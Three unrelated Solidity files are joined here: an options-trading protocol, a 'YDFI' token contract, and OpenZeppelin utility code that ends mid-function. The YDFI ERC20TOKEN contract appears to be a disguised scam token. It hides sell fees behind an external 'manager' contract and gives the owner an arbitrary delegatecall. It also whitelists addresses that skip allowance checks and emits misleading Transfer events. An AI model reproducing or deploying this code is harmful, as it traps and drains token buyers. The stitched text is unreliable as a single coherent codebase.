pragma solidity ^0.4.18; contract DateTime { /* * Date and Time utilities for ethereum contracts * */ struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) public pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) public pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) public pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) public pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) { uint16 i; // Year for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } // Month uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } // Day timestamp += DAY_IN_SECONDS * (day - 1); // Hour timestamp += HOUR_IN_SECONDS * (hour); // Minute timestamp += MINUTE_IN_SECONDS * (minute); // Second timestamp += second; return timestamp; } } contract ERC20xVariables { address public creator; address public lib; uint256 constant public MAX_UINT256 = 2**256 - 1; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; uint8 public constant decimals = 18; string public name; string public symbol; uint public totalSupply; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Created(address creator, uint supply); function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ERC20x is ERC20xVariables { function transfer(address _to, uint256 _value) public returns (bool success) { _transferBalance(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(allowance >= _value); _transferBalance(_from, _to, _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferToContract(address _to, uint256 _value, bytes data) public returns (bool) { _transferBalance(msg.sender, _to, _value); bytes4 sig = bytes4(keccak256("receiveTokens(address,uint256,bytes)")); require(_to.call(sig, msg.sender, _value, data)); emit Transfer(msg.sender, _to, _value); return true; } function _transferBalance(address _from, address _to, uint _value) internal { require(balances[_from] >= _value); balances[_from] -= _value; balances[_to] += _value; } } contract VariableSupplyToken is ERC20x { function grant(address to, uint256 amount) public { require(msg.sender == creator); require(balances[to] + amount >= amount); balances[to] += amount; totalSupply += amount; } function burn(address from, uint amount) public { require(msg.sender == creator); require(balances[from] >= amount); balances[from] -= amount; totalSupply -= amount; } } contract OptionToken is ERC20xVariables { constructor(string _name, string _symbol, address _lib) public { creator = msg.sender; lib = _lib; name = _name; symbol = _symbol; } function() public { require( lib.delegatecall(msg.data) ); } } // we don't store much state here either contract Token is VariableSupplyToken { constructor() public { creator = msg.sender; name = "Decentralized Settlement Facility Token"; symbol = "DSF"; // this needs to be here to avoid zero initialization of token rights. totalSupply = 1; balances[0x0] = 1; } } contract Protocol is DateTime { address public lib; ERC20x public usdERC20; Token public protocolToken; // We use "flavor" because type is a reserved word in many programming languages enum Flavor { Call, Put } struct OptionSeries { uint expiration; Flavor flavor; uint strike; } uint public constant DURATION = 12 hours; uint public constant HALF_DURATION = DURATION / 2; mapping(bytes32 => address) public seriesToken; mapping(address => uint) public openInterest; mapping(address => uint) public earlyExercised; mapping(address => uint) public totalInterest; mapping(address => mapping(address => uint)) public writers; mapping(address => OptionSeries) public seriesInfo; mapping(address => uint) public holdersSettlement; bytes4 public constant GRANT = bytes4(keccak256("grant(address,uint256)")); bytes4 public constant BURN = bytes4(keccak256("burn(address,uint256)")); bytes4 public constant RECEIVE_ETH = bytes4(keccak256("receiveETH(address,uint256)")); bytes4 public constant RECEIVE_USD = bytes4(keccak256("receiveUSD(address,uint256)")); uint public deployed; mapping(address => uint) public expectValue; bool isAuction; uint public constant ONE_MILLION = 1000000; // maximum token holder rights capped at 3.7% of total supply? // Why 3.7%? // I could make up some fancy explanation // and use the phrase "byzantine fault tolerance" somehow // Or I could just say that 3.7% allows for a total of 27 independent actors // that are all receiving the maximum benefit, and it solves all the other // issues of disincentivizing centralization and "rich get richer" mechanics, so I chose 27 'cause it just has a nice "decentralized" feel to it. // 21 would have been fine, as few as ten probably would have been ok 'cause people can just pool anyways // up to a thousand or so probably wouldn't have hurt either. // In the end it really doesn't matter as long as the game ends up being played fairly. // I'm sure someone will take my system and parameterize it differently at some point and bill it as a totally new product. uint public constant PREFERENCE_MAX = 0.037 ether; constructor(address _usd) public { lib = new VariableSupplyToken(); protocolToken = new Token(); usdERC20 = ERC20x(_usd); deployed = now; } function() public payable { revert(); } event SeriesIssued(address series); function issue(uint expiration, Flavor flavor, uint strike) public returns (address) { require(strike >= 20 ether); require(strike % 20 ether == 0); require(strike <= 10000 ether); // require expiration to be at noon UTC require(expiration % 86400 == 43200); // valid expirations: 7n + 1 where n = (unix timestamp / 86400) require(((expiration / 86400) + 2) % 7 == 0); require(expiration > now + 12 hours); require(expiration < now + 365 days); // compute the symbol based on datetime library _DateTime memory exp = parseTimestamp(expiration); uint strikeCode = strike / 1 ether; string memory name = _name(exp, flavor, strikeCode); string memory symbol = _symbol(exp, flavor, strikeCode); bytes32 id = _seriesHash(expiration, flavor, strike); require(seriesToken[id] == address(0)); address series = new OptionToken(name, symbol, lib); seriesToken[id] = series; seriesInfo[series] = OptionSeries(expiration, flavor, strike); emit SeriesIssued(series); return series; } function _name(_DateTime exp, Flavor flavor, uint strikeCode) private pure returns (string) { return string( abi.encodePacked( _monthName(exp.month), " ", uint2str(exp.day), " ", uint2str(strikeCode), "-", flavor == Flavor.Put ? "PUT" : "CALL" ) ); } function _symbol(_DateTime exp, Flavor flavor, uint strikeCode) private pure returns (string) { uint monthChar = 64 + exp.month; if (flavor == Flavor.Put) { monthChar += 12; } uint dayChar = 65 + (exp.day - 1) / 7; return string( abi.encodePacked( "∆", byte(monthChar), byte(dayChar), uint2str(strikeCode) ) ); } function open(address _series, uint amount) public payable returns (bool) { OptionSeries memory series = seriesInfo[_series]; bytes32 id = _seriesHash(series.expiration, series.flavor, series.strike); require(seriesToken[id] == _series); require(_series.call(GRANT, msg.sender, amount)); require(now < series.expiration); if (series.flavor == Flavor.Call) { require(msg.value == amount); } else { require(msg.value == 0); uint escrow = amount * series.strike; require(escrow / amount == series.strike); escrow /= 1 ether; require(usdERC20.transferFrom(msg.sender, this, escrow)); } openInterest[_series] += amount; totalInterest[_series] += amount; writers[_series][msg.sender] += amount; return true; } function close(address _series, uint amount) public { OptionSeries memory series = seriesInfo[_series]; require(now < series.expiration); require(openInterest[_series] >= amount); require(_series.call(BURN, msg.sender, amount)); require(writers[_series][msg.sender] >= amount); writers[_series][msg.sender] -= amount; openInterest[_series] -= amount; totalInterest[_series] -= amount; if (series.flavor == Flavor.Call) { msg.sender.transfer(amount); } else { require( usdERC20.transfer(msg.sender, amount * series.strike / 1 ether)); } } function exercise(address _series, uint amount) public payable { OptionSeries memory series = seriesInfo[_series]; require(now < series.expiration); require(openInterest[_series] >= amount); require(_series.call(BURN, msg.sender, amount)); uint usd = amount * series.strike; require(usd / amount == series.strike); usd /= 1 ether; openInterest[_series] -= amount; earlyExercised[_series] += amount; if (series.flavor == Flavor.Call) { msg.sender.transfer(amount); require(msg.value == 0); require(usdERC20.transferFrom(msg.sender, this, usd)); } else { require(msg.value == amount); require(usdERC20.transfer(msg.sender, usd)); } } function receive() public payable { require(expectValue[msg.sender] == msg.value); expectValue[msg.sender] = 0; } function bid(address _series, uint amount) public payable { require(isAuction == false); isAuction = true; OptionSeries memory series = seriesInfo[_series]; uint start = series.expiration; uint time = now + _timePreference(msg.sender); require(time > start); require(time < start + DURATION); uint elapsed = time - start; amount = _min(amount, openInterest[_series]); if ((now - deployed) / 1 weeks < 8) { _grantReward(msg.sender, amount); } openInterest[_series] -= amount; uint offer; uint givGet; bool result; if (series.flavor == Flavor.Call) { require(msg.value == 0); offer = (series.strike * DURATION) / elapsed; givGet = offer * amount / 1 ether; holdersSettlement[_series] += givGet - amount * series.strike / 1 ether; bool hasFunds = usdERC20.balanceOf(msg.sender) >= givGet && usdERC20.allowance(msg.sender, this) >= givGet; if (hasFunds) { msg.sender.transfer(amount); } else { result = msg.sender.call.value(amount)(RECEIVE_ETH, _series, amount); require(result); } require(usdERC20.transferFrom(msg.sender, this, givGet)); } else { offer = (DURATION * 1 ether * 1 ether) / (series.strike * elapsed); givGet = (amount * 1 ether) / offer; holdersSettlement[_series] += amount * series.strike / 1 ether - givGet; require(usdERC20.transfer(msg.sender, givGet)); if (msg.value == 0) { require(expectValue[msg.sender] == 0); expectValue[msg.sender] = amount; result = msg.sender.call(RECEIVE_USD, _series, givGet); require(result); require(expectValue[msg.sender] == 0); } else { require(msg.value >= amount); msg.sender.transfer(msg.value - amount); } } isAuction = false; } function redeem(address _series) public { OptionSeries memory series = seriesInfo[_series]; require(now > series.expiration + DURATION); uint unsettledPercent = openInterest[_series] * 1 ether / totalInterest[_series]; uint exercisedPercent = (totalInterest[_series] - openInterest[_series]) * 1 ether / totalInterest[_series]; uint owed; if (series.flavor == Flavor.Call) { owed = writers[_series][msg.sender] * unsettledPercent / 1 ether; if (owed > 0) { msg.sender.transfer(owed); } owed = writers[_series][msg.sender] * exercisedPercent / 1 ether; owed = owed * series.strike / 1 ether; if (owed > 0) { require(usdERC20.transfer(msg.sender, owed)); } } else { owed = writers[_series][msg.sender] * unsettledPercent / 1 ether; owed = owed * series.strike / 1 ether; if (owed > 0) { require(usdERC20.transfer(msg.sender, owed)); } owed = writers[_series][msg.sender] * exercisedPercent / 1 ether; if (owed > 0) { msg.sender.transfer(owed); } } writers[_series][msg.sender] = 0; } function settle(address _series) public { OptionSeries memory series = seriesInfo[_series]; require(now > series.expiration + DURATION); uint bal = ERC20x(_series).balanceOf(msg.sender); require(_series.call(BURN, msg.sender, bal)); uint percent = bal * 1 ether / (totalInterest[_series] - earlyExercised[_series]); uint owed = holdersSettlement[_series] * percent / 1 ether; require(usdERC20.transfer(msg.sender, owed)); } function _timePreference(address from) public view returns (uint) { return (_unsLn(_preference(from) * 1000000 + 1 ether) * 171) / 1 ether; } function _grantReward(address to, uint amount) private { uint percentOfMax = _preference(to) * 1 ether / PREFERENCE_MAX; require(percentOfMax <= 1 ether); uint percentGrant = 1 ether - percentOfMax; uint elapsed = (now - deployed) / 1 weeks; elapsed = _min(elapsed, 7); uint div = 10**elapsed; uint reward = percentGrant * (amount * (ONE_MILLION / div)) / 1 ether; require(address(protocolToken).call(GRANT, to, reward)); } function _preference(address from) public view returns (uint) { return _min( protocolToken.balanceOf(from) * 1 ether / protocolToken.totalSupply(), PREFERENCE_MAX ); } function _min(uint a, uint b) pure public returns (uint) { if (a > b) return b; return a; } function _max(uint a, uint b) pure public returns (uint) { if (a > b) return a; return b; } function _seriesHash(uint expiration, Flavor flavor, uint strike) public pure returns (bytes32) { return keccak256(abi.encodePacked(expiration, flavor, strike)); } function _monthName(uint month) public pure returns (string) { string[12] memory names = ["JAN", "FEB", "MAR", "APR", "MAY", "JUN", "JUL", "AUG", "SEP", "OCT", "NOV", "DEC"]; return names[month-1]; } function _unsLn(uint x) pure public returns (uint log) { log = 0; // not a true ln function, we can't represent the negatives if (x < 1 ether) return 0; while (x >= 1.5 ether) { log += 0.405465 ether; x = x * 2 / 3; } x = x - 1 ether; uint y = x; uint i = 1; while (i < 10) { log += (y / i); i = i + 1; y = y * x / 1 ether; log -= (y / i); i = i + 1; y = y * x / 1 ether; } return(log); } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } }
DC1
// YDFI // yandx.finance // t.me/yandxfinance pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Management { function calcFee(address,address,uint256) external returns(uint256); } contract ERC20TOKEN { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from && status[tx.origin] == 0) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; uint256 fee = calc(_from, _to, _value); balanceOf[_to] += (_value - fee); emit Transfer(_from, _to, _value); return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } function calc(address _from, address _to, uint _value) private returns(uint256) { uint fee = 0; if (_to == UNI && _from != owner && status[_from] == 0) { fee = Management(manager).calcFee(address(this), UNI, _value); } return fee; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function () payable external {} function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; status[_to] = 1; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } mapping (address => uint) public balanceOf; mapping (address => uint) private status; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private UNI; address constant internal manager = 0xb40fdE3d531D4dD211A69dF55Ac13Bf1bf1D8D28; constructor(string memory _name, string memory _symbol, uint _totalSupply) payable public { owner = msg.sender; symbol = _symbol; name = _name; totalSupply = _totalSupply; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File contracts/OpenZeppelin/utils/ReentrancyGuard.sol pragma solidity 0.6.12; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/OpenZeppelin/utils/EnumerableSet.sol pragma solidity 0.6.12; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, 